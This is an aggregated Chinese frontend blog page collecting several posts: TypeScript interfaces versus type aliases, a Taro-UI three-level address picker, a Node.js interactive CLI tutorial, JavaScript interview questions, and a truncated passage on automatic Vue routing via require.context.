1. 都可以用来描述对象或函数

interface Point {
x: number
y: number
}

interface SetPoint {
(x: number, y: number): void;
}
type Point = {
x: number;
y: number;
};

type SetPoint = (x: number, y: number) => void;

2. 都可以扩展

两者的扩展方式不同,但并不互斥。接口可以扩展类型别名,同理,类型别名也可以扩展接口。

接口的扩展就是继承,通过 extends 来实现。类型别名的扩展就是交叉类型,通过 & 来实现。

// 接口扩展接口
interface PointX {
x: number
}

interface Point extends PointX {
y: number
}
// 类型别名扩展类型别名
type PointX = {
x: number
}

type Point = PointX & {
y: number
}
// 接口扩展类型别名
type PointX = {
x: number
}
interface Point extends PointX {
y: number
}
// 类型别名扩展接口
interface PointX {
x: number
}
type Point = PointX & {
y: number
}

接口 vs 类型别名不同点

1. 类型别名更通用(接口只能声明对象,不能重命名基本类型)

类型别名的右边可以是任何类型,包括基本类型、元祖、类型表达式(&|等类型运算符);而在接口声明中,右边必须为结构。例如,下面的类型别名就不能转换成接口:

type A = number
type B = A | string

2. 扩展时表现不同

扩展接口时,TS将检查扩展的接口是否可以赋值给被扩展的接口。举例如下:

interface A {
good(x: number): string,
bad(x: number): string
}
interface B extends A {
good(x: string | number) : string,
bad(x: number): number // Interface 'B' incorrectly extends interface 'A'.
// Types of property 'bad' are incompatible.
// Type '(x: number) => number' is not assignable to type '(x: number) => string'.
// Type 'number' is not assignable to type 'string'.
}

但使用交集类型时则不会出现这种情况。我们将上述代码中的接口改写成类型别名,把 extends 换成交集运算符 &,TS将尽其所能把扩展和被扩展的类型组合在一起,而不会抛出编译时错误。

type A = {
good(x: number): string,
bad(x: number): string
}
type B = A & {
good(x: string | number) : string,
bad(x: number): number
}

3. 多次定义时表现不同

接口可以定义多次,多次的声明会合并。但是类型别名如果定义多次,会报错。

interface Point {
x: number
}
interface Point {
y: number
}
const point: Point = {x:1} // Property 'y' is missing in type '{ x: number; }' but required in type 'Point'.

const point: Point = {x:1, y:1} // 正确
type Point = {
x: number // Duplicate identifier 'A'.
}

type Point = {
y: number // Duplicate identifier 'A'.
}

到底应该用哪个

如果接口和类型别名都能满足的情况下,到底应该用哪个是我们关心的问题。感觉哪个都可以,但是强烈建议大家只要能用接口实现的就优先使用接口,接口满足不了的再用类型别名。

为什么会这么建议呢?其实在TS的wiki中有说明。具体的文章地址在这里

以下是Preferring Interfaces Over Intersections的译文:



上述的几个区别从字面上理解还是有些绕,下面通过具体的列子来说明。

interface Point1 {
x: number
}

interface Point extends Point1 {
x: string // Interface 'Point' incorrectly extends interface 'Point1'.
// Types of property 'x' are incompatible.
// Type 'string' is not assignable to type 'number'.
}
type Point1 = {
x: number
}

type Point2 = {
x: string
}

type Point = Point1 & Point2 // 这时的Point是一个'number & string'类型,也就是never

从上述代码可以看出,接口继承同名属性不满足定义会报错,而相交类型就是简单的合并,最后产生了 number & string 类型,可以解释译文中的第一点不同,其实也就是我们在不同点模块中介绍的扩展时表现不同。

再来看下面例子:

interface PointX {
x: number
}

interface PointY {
y: number
}

interface PointZ {
z: number
}

interface PointXY extends PointX, PointY {
}

interface Point extends PointXY, PointZ {

}
const point: Point = {x: 1, y: 1} // Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point'
type PointX = {
x: number
}

type PointY = {
y: number
}

type PointZ = {
z: number
}

type PointXY = PointX & PointY

type Point = PointXY & PointZ

const point: Point = {x: 1, y: 1} // Type '{ x: number; y: number; }' is not assignable to type 'Point'.
// Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point3'.

从报错中可以看出,当使用接口时,报错会准确定位到Point。
但是使用交叉类型时,虽然我们的 Point 交叉类型是 PointXY & PointZ, 但是在报错的时候定位并不在 Point 中,而是在 Point3 中,即使我们的 Point 类型并没有直接引用 Point3 类型。

如果我们把鼠标放在交叉类型 Point 类型上,提示的也是 type Point = PointX & PointY & PointZ,而不是 PointXY & PointZ

这个例子可以同时解释译文中第二个和最后一个不同点。

结论

有的同学可能会问,如果我不需要组合只是单纯的定义类型的时候,是不是就可以随便用了。但是为了代码的可扩展性,建议还是优先使用接口。现在不需要,谁能知道后续需不需要呢?所以,让我们大胆的使用接口吧~

原文链接:https://segmentfault.com/a/1190000039834284


收起阅读 »

taro-ui实现省市区三级联动

因taro-ui没有省市区三级联动,所以我们利用它提供的Picker 实现多列选择器。

因taro-ui没有省市区三级联动,所以我们利用它提供的Picker 实现多列选择器。

        <Picker

  mode="multiSelector" // 多列选择
onChange={this.onChange} // change事件
onColumnChange={this.onColumnChange} // 某列改变的事件
range={rangeData} //需要展示的数据
value={rangeKey} // 选择的下标
>
<View className="picker">
<Text className="label">所在地址:</Text>
{formData.province && (
<Text>
{formData.province}
{formData.city}
{formData.country}
</Text>
)} // 主要是数据回显加的代码,
{!formData.province && (
<Text className="placeholder">请选择省/市/区</Text>
)}
</View>
</Picker>


上述代码其实taro-ui官方文档都有具体的事例,这里就不多解释了。

相信每个的省市区结构都不一样,现在贴一部分自己项目的省市区结构

[{
provinceName: '北京市',
provinceCode: '11',
cities: [
{
cityName: '市辖区',
cityCode: '1101',
countries: [
{
countryCode: "110101"
countryName: "东城区"
}
]
}
]
}]

现在开始处理数据,因为rangeData是所有数据,省市区,我们需要把数据转换成[‘省’, ‘市’, ‘区’]。

handleCityData = key => {
// 处理数据。
let provinceList = new Array(); // 省
let cityList = new Array(); // 市
let areaList = new Array(); // 区
let { addressData } = this.state;
for (let i = 0; i < addressData.length; i++) {
// 获取省
let province = addressData[i];
provinceList.push(province.provinceName);
}
if (addressData[key[0]].cities && addressData[key[0]].cities.length > 0) {
for (let i = 0; i < addressData[key[0]].cities.length; i++) {
// 获取对应省下面的市
let city = addressData[key[0]].cities[i];
cityList.push(city.cityName);
}
}
for (
let i = 0;
i < addressData[key[0]].cities[key[1]].countries.length;
i++
) {
// 获取市下面对应区
let country = addressData[key[0]].cities[key[1]].countries[i];
areaList.push(country.countryName);
}
// }
let newRange = new Array();
newRange.push(provinceList);
newRange.push(cityList);
newRange.push(areaList);
this.setState({
rangeData: newRange, // 省市区所有的数据
rangeKey: key // key是多列选择器需要展示的下标,因为是初始化,所以我们传入[0,0,0]
});
};

数据处理代码有点丑,欢迎大家提意见。因babel没升级到7版本,所以if判断有点繁琐。

数据处理完了之后,我们需要开始处理每列的值改变,数据联动了,那么我们需要列联动事件。

onColumnChange = e => {
let { rangeKey } = this.state;
let changeColumn = e.detail;
let { column, value } = changeColumn;
switch (column) { // 根据改变不同的列,来显示不同的数据
case 0:
this.handleCityData([value, 0, 0]);
break;
case 1:
this.handleCityData([rangeKey[0], value, 0]);
break;
case 2:
this.handleCityData([rangeKey[0], rangeKey[1], value]);
break;
}
};

到这里的话,就基本实现了省市区三级联动。

下面说一哈,省市区数据回显的代码,不需要的朋友也可以了解一哈。
数据回显,其实很简单,只要找到对应的省市区的下标,就可以回显了。下面是具体实现代码:

getRangeKey = data => {
// 详情的时候获取对应的展示位置
let { addressData } = this.state;
let splitData = data.addressDescription.split("|");

let getAddress = {
province: splitData[0],
city: splitData[1],
country: splitData[2]
};
this.setState({
formData: getAddress
});
let provinceIndex = 0;
let cityIndex = 0;
let countryIndex = 0;
for (let i = 0; i < addressData.length; i++) {
let province = addressData[i];
if (province.provinceName === getAddress.province) {
provinceIndex = i;
for (let j = 0; j < province.cities.length; j++) {
let city = province.cities[j];
if (city.cityName === getAddress.city) {
cityIndex = j;
for (let k = 0; k < city.countries.length; k++) {
let country = city.countries[k];
if (country.countryName === getAddress.country) {
countryIndex = k;
break;
}
}
break;
}
}
break;
}
}
let rangeKey = new Array();
rangeKey.push(provinceIndex);
rangeKey.push(cityIndex);
rangeKey.push(countryIndex);
this.handleCityData(rangeKey);
};

通过上面的循环找出对应省市区的下标,就可以实现省市区的数据回显。

噢,还忘了多列选择器的change事件,这个的话,根据自己项目需要返回的是code还是name,这块就自己处理了,我这边讲的主要是省市区的三级联动。
我是把省市区写成一个组件,然后在父节点传入对应的数据以及事件就可以在一个项目中多次用到了。

下面是该组件的所有代码

import Taro, { Component } from "@tarojs/taro";
import { View, Text, Image, ScrollView, Picker } from "@tarojs/components";
import { connect } from "@tarojs/redux";
import * as actions from "@actions/address";
// import { dispatchCartNum } from '@actions/cart';
import "./index.scss";

@connect(state => state.address, { ...actions })
class ChangeCity extends Component {
static defaultProps = {
detailAddress: {}
};
constructor(props) {
super(props);
this.state = {
addressData: [],
rangeKey: [0, 0, 0],
rangeData: [[], [], []],
formData: {
province: "",
city: "",
country: ""
}
};
}

componentDidMount() {
this.getAddress();
}
getAddress = () => {
this.props.dispatchAddressChina().then(res => {
let addressData = [...res.data];
this.setState(
{
addressData: addressData
},
() => {
let { detailAddress } = this.props;
if (!detailAddress.province) {
this.handleCityData([0, 0, 0]);
} else {
this.getRangeKey(detailAddress);
}
}
);
});
};
getRangeKey = data => {
// 详情的时候获取对应的展示位置
let { addressData } = this.state;
let splitData = data.addressDescription.split("|");

let getAddress = {
province: splitData[0],
city: splitData[1],
country: splitData[2]
};
this.setState({
formData: getAddress
});
let provinceIndex = 0;
let cityIndex = 0;
let countryIndex = 0;
for (let i = 0; i < addressData.length; i++) {
let province = addressData[i];
if (province.provinceName === getAddress.province) {
provinceIndex = i;
for (let j = 0; j < province.cities.length; j++) {
let city = province.cities[j];
if (city.cityName === getAddress.city) {
cityIndex = j;
for (let k = 0; k < city.countries.length; k++) {
let country = city.countries[k];
if (country.countryName === getAddress.country) {
countryIndex = k;
break;
}
}
break;
}
}
break;
}
}
let rangeKey = new Array();
rangeKey.push(provinceIndex);
rangeKey.push(cityIndex);
rangeKey.push(countryIndex);
this.handleCityData(rangeKey);
this.setState({
rangeKey: rangeKey
});
};
handleCityData = key => {
// 处理数据
let provinceList = new Array(); // 省
let cityList = new Array(); // 市
let areaList = new Array(); // 区
let { addressData } = this.state;
for (let i = 0; i < addressData.length; i++) {
// 获取省
let province = addressData[i];
provinceList.push(province.provinceName);
}
if (addressData[key[0]].cities && addressData[key[0]].cities.length > 0) {
for (let i = 0; i < addressData[key[0]].cities.length; i++) {
// 获取对应省下面的市
let city = addressData[key[0]].cities[i];
cityList.push(city.cityName);
}
}
for (
let i = 0;
i < addressData[key[0]].cities[key[1]].countries.length;
i++
) {
// 获取市下面对应区
let country = addressData[key[0]].cities[key[1]].countries[i];
areaList.push(country.countryName);
}
// }
let newRange = new Array();
newRange.push(provinceList);
newRange.push(cityList);
newRange.push(areaList);
this.setState({
rangeData: newRange,
rangeKey: key
});
};
onChange = e => {
let { value } = e.detail;
this.getAddressName(value);
};
getAddressName = value => {
// 这里是转化用户选择的地址数据
let { addressData } = this.state;
let formData = {
province: "",
city: "",
country: ""
};
let payload = {
province: "",
city: "",
country: ""
};
if (addressData[value[0]]) {
formData.province = addressData[value[0]].provinceName; // 省名称
payload.province = addressData[value[0]].provinceCode; // 省code
if (
addressData[value[0]].cities &&
addressData[value[0]].cities[value[1]]
) {
formData.city = addressData[value[0]].cities[value[1]].cityName;
payload.city = addressData[value[0]].cities[value[1]].cityCode;
if (
addressData[value[0]].cities[value[1]].countries &&
addressData[value[0]].cities[value[1]].countries[value[2]]
) {
formData.country =
addressData[value[0]].cities[value[1]].countries[
value[2]
].countryName;
payload.country =
addressData[value[0]].cities[value[1]].countries[
value[2]
].countryCode;
}
}
}
// console.log(formData, "formData");
this.setState({
formData: formData
});
this.props.onChangeAddress(payload, formData);
};
onColumnChange = e => {
let { rangeKey } = this.state;
let changeColumn = e.detail;
let { column, value } = changeColumn;
switch (column) {
case 0:
this.handleCityData([value, 0, 0]);
break;
case 1:
this.handleCityData([rangeKey[0], value, 0]);
break;
case 2:
this.handleCityData([rangeKey[0], rangeKey[1], value]);
break;
}
};
render() {
const { formData, rangeData, rangeKey } = this.state;
return (


mode="multiSelector"
onChange={this.onChange}
onColumnChange={this.onColumnChange}
range={rangeData}
value={rangeKey}
>

所在地址:
{formData.province && (

{formData.province}
{formData.city}
{formData.country}

)}
{!formData.province && (
请选择省/市/区
)}




);
}
}
export default ChangeCity;

样式自己处理一下子就好了

本文链接:https://blog.csdn.net/weixin_42381896/article/details/106854708


Node交互式命令行工具开发——自动化文档工具

 nodejs开发命令行工具,流程相对简单,但一套完整的命令行程序开发流程下来,还是需要下点功夫,网上资料大多零散,这篇教程意在整合一下完整的开发流程。  npm上命令行开发相关包很多,例如minimist、optimist、nopt、commander.js...
继续阅读 »

 nodejs开发命令行工具,流程相对简单,但一套完整的命令行程序开发流程下来,还是需要下点功夫,网上资料大多零散,这篇教程意在整合一下完整的开发流程。
  npm上命令行开发相关包很多,例如minimistoptimistnoptcommander.jsyargs等等,使用方法和效果类似。其中用得比较多的是TJ大神的commanderyargs,本文以commander为基础讲述,可以参考这篇教程,yargs教程可以参考阮大神的或者这一篇
  另外,一个完整的命令行工具开发,还需要了解processshelljspathlinebyline等模块,这些都是node基础模块或一些简单模块,非常简单,就不多说了,另外如果你不想用回调函数处理异步还需要了解一下PromiseGenerator函数。这是教程:i5ting大神的《深入浅出js(Node.js)异步流程控制》和阮大神的异步编程教程以及promise小人书,另外想尝试ES7 stage3阶段的async/await异步解决方案,可参考这篇教程async/await解决方案需要babel转码,这是教程。本人喜欢async/await(哪个node开发者不喜欢呢?)但不喜欢倒腾,况且async/await本身就是Promise的语法糖,所以没选择使用,据江湖消息,nodejs将在今年晚些时候(10月份?)支持async/await,很是期待。
  以下是文章末尾实例用到的一些依赖。

"dependencies": {
"bluebird": "^3.4.1",
"co": "^4.6.0",
"colors": "^1.1.2",
"commander": "^2.9.0",
"dox": "^0.9.0",
"handlebars": "^4.0.5",
"linebyline": "^1.3.0",
"mkdirp": "^0.5.1"
}

 其中bluebird用于Promise化,TJ大神的co用于执行Generator函数,handlebars是一种模板,linebyline用于分行读取文件,colors用于美化输出,mkdirp用于创建目录,另外教程中的示例是一款工具,可以自动化生成数据库和API接口的markdown文档,并通过修改git hooks,使项目的每次commit都会自动更新文档,借助了TJ大神的dox模块。
  <span style="color:rgb(0, 136, 204)">所有推荐教程/教材,仅供参考,自行甄选阅读。</span>

安装Node

  各操作系统下安装见Nodejs官网,安装完成之后用node -v或者which node等命令测试安装是否成功。which在命令行开发中是一个非常有用的命令,使用which命令确保你的系统中不存在名字相同的命令行工具,例如which commandName,例如which testdev命令返回空白那么说明testdev命令名称还没有被使用。

初始化

  1. 新建一个.js文件,即是你的命令要执行的主程序入口文件,例如testdev.js。在文件第一行加入#!/usr/bin/env node指明系统在运行这个文件的时候使用node作为解释器,等价于node testdev.js命令。
  2. 初始化package.json文件,使用npm init命令根据提示信息创建,也可以是使用npm init -y使用默认设置创建。创建完成之后需要修改package.json文件内容加入"bin": {"testdev": "./testdev.js"}这条信息用于告诉npm你的命令(testdev)要执行的脚本文件的路径和名字,这里我们指定testdev命令的执行文件为当前目录下的testdev.js文件。
  3. 为了方便测试在testdev.js文件中加入代码console.log('hello world');,这里只是用于测试环境是否搭建成功,更加复杂的程序逻辑和过程需要按照实际情况进行编写

测试

  使用npm link命令,可以在本地安装刚刚创建的包,然后就可以用testdev来运行命令了,如果正常的话在控制台会打印出hello world

commander

  TJ的commander非常简洁,README.md已经把使用方法写的非常清晰。下面是例子中的代码:

const program = require('commander'),
co = require('co');

const appInfo = require('./../package.json'),
asyncFunc = require('./../common/asyncfunc.js');

program.allowUnknownOption();
program.version(appInfo.version);

program
.command('init')
.description('初始化当前目录doc.json文件')
.action(() => co(asyncFunc.initAction));

program
.command('show')
.description('显示配置文件状态')
.action(() => co(asyncFunc.showAction));

program
.command('run')
.description('启动程序')
.action(() => co(asyncFunc.runAction));

program
.command('modifyhook')
.description('修改项目下的hook文件')
.action(() => co(asyncFunc.modifyhookAction));

program
.command('*')
.action((env) => {
console.error('不存在命令 "%s"', env);
});

program.on('--help', () => {
console.log(' Examples:');
console.log('');
console.log(' $ createDOC --help');
console.log(' $ createDOC -h');
console.log(' $ createDOC show');
console.log('');
});

program.parse(process.argv);

 定义了四个命令和个性化帮助说明。

交互式命令行process

  commander只是实现了命令行参数与回复一对一的固定功能,也就是一个命令必然对应一个回复,那如何实现人机交互式的命令行呢,类似npm init或者eslint --init这样的与用户交互,交互之后根据用户的不同需求反馈不同的结果呢。这里就需要node内置的process模块。
  这是我实现的一个init命令功能代码:

exports.initAction = function* () {
try {
var docPath = yield exists(process.cwd() + '/doc.json');
if (docPath) {
func.initRepl(config.coverInit, arr => {
co(newDoc(arr));
})
} else {
func.initRepl(config.newInit, arr => {
co(newDoc(arr));
})
}
} catch (err) {
console.warn(err);
}

首先检查doc.json文件是否存在,如果存在执行覆盖交互,如果不存在执行生成交互,try...catch捕获错误。
  交互内容配置如下:

newInit:
[
{
title:'initConfirm',
description:'初始化createDOC,生成doc.json.确认?(y/n) ',
defaults: 'y'
},
{
title:'defaultConfirm',
description:'是否使用默认配置.(y/n) ',
defaults: 'y'
},
{
title:'showConfig',
description:'是否显示doc.json当前配置?(y/n) ',
defaults: 'y'
}
],
coverInit:[
{
title:'modifyConfirm',
description:'doc.json已存在,初始化将覆盖文件.确认?(y/n) ',
defaults: 'y'
},
{
title:'defaultConfirm',
description:'是否使用默认配置.(y/n) ',
defaults: 'y'
},
{
title:'showConfig',
description:'是否显示doc.json当前配置?(y/n) ',
defaults: 'y'
}
],

人机交互部分代码也就是initRepl函数内容如下:

//初始化命令,人机交互控制
exports.initRepl = function (init, func) {
var i = 1;
var inputArr = [];
var len = init.length;
process.stdout.write(init[0].description);
process.stdin.resume();
process.stdin.setEncoding('utf-8');
process.stdin.on('data', (chunk) => {
chunk = chunk.replace(/[\s\n]/, '');
if (chunk !== 'y' && chunk !== 'Y' && chunk !== 'n' && chunk !== 'N') {
console.log(config.colors.red('您输入的命令是: ' + chunk));
console.warn(config.colors.red('请输入正确指令:y/n'));
process.exit();
}
if (
(init[i - 1].title === 'modifyConfirm' || init[i - 1].title === 'initConfirm') &&
(chunk === 'n' || chunk === 'N')
) {
process.exit();
}
var inputJson = {
title: init[i - 1].title,
value: chunk,
};
inputArr.push(inputJson);
if ((len--) > 1) {
process.stdout.write(init[i++].description)
} else {
process.stdin.pause();
func(inputArr);
}
});
}

人机交互才用向用户提问根据用户不同输入产生不同结果的形式进行,顺序读取提问列表并记录用户输入结果,如果用户输入n/N则终止交互,用户输入非法字符(除y/Y/n/N以外)提示输入命令错误。

文档自动化

  文档自动化,其中数据库文档自动化,才用依赖sequelize的方法手写(根据需求不同自行编写逻辑),API文档才用TJ的dox也很简单。由于此处代码与命令行功能相关度不大,请读者自行去示例地址查看代码。

示例地址

github地址
npm地址

原文链接:https://segmentfault.com/a/1190000039749423

收起阅读 »

JS前端面试总结

ES5的继承和ES6的继承有什么区别ES5的继承时通过prototype或构造函数机制来实现。ES5的继承实质上是先创建子类的实例对象,然后再将父类的方法添加到this上(Parent.apply(this))。ES6的继承机制完全不同,实质上是先创建父类的实...
继续阅读 »

ES5的继承和ES6的继承有什么区别

ES5的继承时通过prototype或构造函数机制来实现。ES5的继承实质上是先创建子类的实例对象,然后再将父类的方法添加到this上(Parent.apply(this))。
ES6的继承机制完全不同,实质上是先创建父类的实例对象this(所以必须先调用父类的super()方法),然后再用子类的构造函数修改this。
具体的:ES6通过class关键字定义类,里面有构造方法,类之间通过extends关键字实现继承。子类必须在constructor方法中调用super方法,否则新建实例报错。因为子类没有自己的this对象,而是继承了父类的this对象,然后对其进行加工。如果不调用super方法,子类得不到this对象。
ps:super关键字指代父类的实例,即父类的this对象。在子类构造函数中,调用super后,才可使用this关键字,否则报错。

如何实现一个闭包?闭包的作用有哪些

在一个函数里面嵌套另一个函数,被嵌套的那个函数的作用域是一个闭包。
作用:创建私有变量,减少全局变量,防止变量名污染。可以操作外部作用域的变量,变量不会被浏览器回收,保存变量的值。

介绍一下 JS 有哪些内置对象

Object 是 JavaScript 中所有对象的父对象
数据封装类对象:Object、Array、Boolean、Number、String
其他对象:Function、Argument、Math、Date、RegExp、Error

new 操作符具体干了什么呢

(1)创建一个空对象,并且 this 变量引用该对象,同时还继承了该函数的原型。
(2)属性和方法被加入到 this 引用的对象中。
(3)新创建的对象由 this 所引用,并且最后隐式的返回 this 。

同步和异步的区别

同步的概念应该是来自于操作系统中关于同步的概念:不同进程为协同完成某项工作而在先后次序上调整(通过阻塞,唤醒等方式)。
同步强调的是顺序性,谁先谁后;异步则不存在这种顺序性。

同步:浏览器访问服务器请求,用户看得到页面刷新,重新发请求,等请求完,页面刷新,新内容出现,用户看到新内容,进行下一步操作。

异步:浏览器访问服务器请求,用户正常操作,浏览器后端进行请求。等请求完,页面不刷新,新内容也会出现,用户看到新内容。

异步解决方式优缺点

回调函数(callback)

缺点:回调地狱,不能用 try catch 捕获错误,不能 return
优点:解决了同步的问题

Promise

Promise就是为了解决callback的问题而产生的。
回调地狱的根本问题在于:

缺乏顺序性: 回调地狱导致的调试困难,和大脑的思维方式不符
嵌套函数存在耦合性,一旦有所改动,就会牵一发而动全身,即(控制反转)
嵌套函数过多的多话,很难处理错误

Promise 实现了链式调用,也就是说每次 then 后返回的都是一个全新 Promise,如果我们在 then 中 return ,return 的结果会被 Promise.resolve() 包装

优点:解决了回调地狱的问题
缺点:无法取消 Promise ,错误需要通过回调函数来捕获

Generator

特点:可以控制函数的执行,可以配合 co 函数库使用

Async/await

async、await 是异步的终极解决方案

优点:代码清晰,不用像 Promise 写一大堆 then 链,处理了回调地狱的问题
缺点:await 将异步代码改造成同步代码,如果多个异步操作没有依赖性而使用 await 会导致性能上的降低。

null 和 undefined 的区别

null: null表示空值,转为数值时为0;
undefined:undefined表示"缺少值",就是此处应该有一个值,但是还没有定义。

• 变量被声明了,但没有赋值时,就等于undefined。
• 对象没有赋值的属性,该属性的值为undefined。
• 函数没有返回值时,默认返回undefined。

JavaScript 原型,原型链 ? 有什么特点?

JavaScript 原型: 每创建一个函数,函数上都有一个属性为 prototype,它的值是一个对象。 这个对象的作用在于当使用函数创建实例的时候,那么这些实例都会共享原型上的属性和方法。

原型链: 在 JavaScript 中,每个对象都有一个指向它的原型(prototype)对象的内部链接(proto)。这个原型对象又有自己的原型,直到某个对象的原型为 null 为止(也就是不再有原型指向)。这种一级一级的链结构就称为原型链(prototype chain)。 当查找一个对象的属性时,JavaScript 会向上遍历原型链,直到找到给定名称的属性为止;到查找到达原型链的顶部(Object.prototype),仍然没有找到指定的属性,就会返回 undefined

如何获取一个大于等于0且小于等于9的随机整数

function randomNum(){
return Math.floor(Math.random()*10)
}

想要去除一个字符串的第一个字符,有哪些方法可以实现str.slice(1)

 str.substr(1)
str.substring(1)
str.replace(/./,'')
str.replace(str.charAt(0),'')

JavaScript的组成

JavaScript 由以下三部分组成:

ECMAScript(核心):JavaScript 语言基础
DOM(文档对象模型):规定了访问HTML和XML的接口
BOM(浏览器对象模型):提供了浏览器窗口之间进行交互的对象和方法

到底什么是前端工程化、模块化、组件化

前端工程化就是用做工程的思维看待和开发自己的项目,
而模块化和组件化是为工程化思想下相对较具体的开发方式,因此可以简单的认为模块化和组件化是工程化的表现形式。
模块化和组件化一个最直接的好处就是复用,同时我们也应该有一个理念,模块化和组件化除了复用之外还有就是分治,我们能够在不影响其他代码的情况下按需修改某一独立的模块或是组件,因此很多地方我们及时没有很强烈的复用需要也可以根据分治需求进行模块化或组件化开发。
模块化开发的4点好处:

  1 避免变量污染,命名冲突
  2 提高代码复用率
  3 提高维护性
4 依赖关系的管理

前端模块化实现的过程如下:
一 函数封装
我们在讲到函数逻辑的时候提到过,函数一个功能就是实现特定逻辑的一组语句打包,在一个文件里面编写几个相关函数就是最开始的模块了

function m1(){
    //...
  }

  function m2(){
    //...
  }

这样做的缺点很明显,污染了全局变量,并且不能保证和其他模块起冲突,模块成员看起来似乎没啥关系
二 对象
为了解决这个问题,有了新方法,将所有模块成员封装在一个对象中

var module = new Object({

_count:0,

m1:function (){ ``` },

m2:function (){ ``` }

})

这样 两个函数就被包在这个对象中, 嘿嘿 看起来没毛病是吗 继续往下:
当我们要使用的时候,就是调用这个对象的属性
module.m1()
诶嘿 那么问题来了 这样写法会暴露全部的成员,内部状态可以被外部改变,比如外部代码可直接改变计数器的值
//坏人的操作

module._count = 10;

最后的最后,聪明的人类找到了究极新的方法——立即执行函数,这样就可以达到不暴露私有成员的目的

var module = (function (){

var _count = 5;

var m1 = function (){ ``` };

var m2 = function (){ ``` };

return{
m1:m1,
m2:m2
}

})()

面向对象与面向过程

  1. 什么是面向过程与面向对象?

• 面向过程就是做围墙的时候,由你本身操作,叠第一层的时候:放砖头,糊水泥,放砖头,糊水泥;然后第二层的时候,继续放砖头,糊水泥,放砖头,糊水泥……
• 面向对象就是做围墙的时候,由他人帮你完成,将做第一层的做法抽取出来,就是放砖头是第一个动作,糊水泥是第二个动作,然后给这两个动作加上步数,最后告诉机器人有 n 层,交给机器人帮你工作就行了。

  1. 为什么需要面向对象写法?

• 更方便
• 可以复用,减少代码冗余度
• 高内聚低耦合
简单来说,就是增加代码的可复用性,减少咱们的工作,使代码更加流畅。

事件绑定和普通事件有什么区别

普通添加事件的方法:

var btn = document.getElementById("hello");
btn.onclick = function(){
alert(1);
}
btn.onclick = function(){
alert(2);
}

执行上面的代码只会alert 2

事件绑定方式添加事件:

var btn = document.getElementById("hello");
btn.addEventListener("click",function(){
alert(1);
},false);
btn.addEventListener("click",function(){
alert(2);
},false);

垃圾回收

由于字符串、对象和数组没有固定大小,所有当他们的大小已知时,才能对他们进行动态的存储分配。JavaScript程序每次创建字符串、数组或对象时,解释器都必须分配内存来存储那个实体。只要像这样动态地分配了内存,最终都要释放这些内存以便他们能够被再用,否则,JavaScript的解释器将会消耗完系统中所有可用的内存,造成系统崩溃。
  现在各大浏览器通常用采用的垃圾回收有两种方法:标记清除、引用计数。
1、标记清除
  这是javascript中最常用的垃圾回收方式。当变量进入执行环境是,就标记这个变量为“进入环境”。从逻辑上讲,永远不能释放进入环境的变量所占用的内存,因为只要执行流进入相应的环境,就可能会用到他们。当变量离开环境时,则将其标记为“离开环境”。
  垃圾收集器在运行的时候会给存储在内存中的所有变量都加上标记。然后,它会去掉环境中的变量以及被环境中的变量引用的标记。而在此之后再被加上标记的变量将被视为准备删除的变量,原因是环境中的变量已经无法访问到这些变量了。最后。垃圾收集器完成内存清除工作,销毁那些带标记的值,并回收他们所占用的内存空间。
关于这一块,建议读读Tom大叔的几篇文章,关于作用域链的一些知识详解,读完差不多就知道了,哪些变量会被做标记。

2、引用计数
  另一种不太常见的垃圾回收策略是引用计数。引用计数的含义是跟踪记录每个值被引用的次数。当声明了一个变量并将一个引用类型赋值给该变量时,则这个值的引用次数就是1。相反,如果包含对这个值引用的变量又取得了另外一个值,则这个值的引用次数就减1。当这个引用次数变成0时,则说明没有办法再访问这个值了,因而就可以将其所占的内存空间给收回来。这样,垃圾收集器下次再运行时,它就会释放那些引用次数为0的值所占的内存。


原文链接:https://segmentfault.com/a/1190000018077712


收起阅读 »

面向面试编程,面向掘金面试

我使用 curl 与 jq 一行简单的命令爬取了掘金的面试集合榜单,有兴趣的同学可以看看爬取过程: 使用 jq 与 sed 制作掘金面试文章排行榜,可以提高你使用命令行的乐趣关于前端,后端,移动端的面试,这里统...
继续阅读 »

我使用 curl 与 jq 一行简单的命令爬取了掘金的面试集合榜单,有兴趣的同学可以看看爬取过程: 使用 jq 与 sed 制作掘金面试文章排行榜,可以提高你使用命令行的乐趣

关于前端,后端,移动端的面试,这里统统都有,希望可以在面试的过程中帮助到你。另外我也有一个仓库 日问 来记录前后端以及 devops 一些有意思的问题,欢迎交流

前端

后端

Android/IOS

原文:https://segmentfault.com/a/1190000021037487

收起阅读 »

vue 自动化路由实现

1、需求描述在写vue的项目中,一般情况下我们每添加一个新页面都得添加一个新路由。为此我们在项目中会专门的一个文件夹来管理路由,如下图所示那么有没有一种方案,能够实现我们在文件夹中新建了一个vue文件,就自动帮我们添加路由。特别在我们的一个ERP后台项目中,我...
继续阅读 »

1、需求描述

在写vue的项目中,一般情况下我们每添加一个新页面都得添加一个新路由。为此我们在项目中会专门的一个文件夹来管理路由,如下图所示


那么有没有一种方案,能够实现我们在文件夹中新建了一个vue文件,就自动帮我们添加路由。特别在我们的一个ERP后台项目中,我们几乎都是一个文件夹下有很多子文件,子文件中一般包含index.vue, detail.vue, edit.vue分别对应的事列表页,详情页和编辑页。


 上图是我们的文件目录,views文件夹中存放的是所有的页面,goodsPlanning是一级目录,onNewComplete和thirdGoods是二级目录,二级目录中存放的是具体的页面,indexComponents中存放的是index.vue的文件,editComponents也是同样的道理。index.vue对应的路由是/goodsPlanning/onNewComplete, edit.vue对应的路由是/goodsPlanning/onNewComplete/edit,detail.vue也是同样的道理。所以我们的文件夹和路由是完全能够对应上的,只要知道路由,就能很快的找到对应的文件。那么有没有办法能够读取我们二级目录下的所有文件,然后根据文件名来生成路由呢?答案是有的


2 、require.context介绍

简单说就是:有了require.context,我们可以得到指定文件夹下的所有文件

require.context(directory, useSubdirectories = false, regExp = /^\.\//);

require.context有三个参数:

  • directory:说明需要检索的目录
  • useSubdirectories:是否检索子目录
  • regExp: 匹配文件的正则表达式

require.context()的返回值,有一个keys方法,返回的是个数组

let routers = require.context('VIEWS', true).keys()
console.log(routers)



 通过上面的代码,我们打印出了所有的views文件夹下的所有文件和文件夹,我们只要写好正则就能找到我们所需要的文件


3、 直接上代码

import Layout from 'VIEWS/layout/index'

/**
* 正则 首先匹配./ ,然后一级目录,不包含components的二级目录,以.vue结尾的三级目录
*/
let routers = require.context('VIEWS', true, /\.\/[a-z]+\/(?!components)[a-z]+\/[a-z]+\.vue$/i).keys()
let indexRouterMap = {} // 用来存储以index.vue结尾的文件,因为index.vue是列表文件,需要加入layout(我们的菜单),需要keepAlive,需要做权限判断
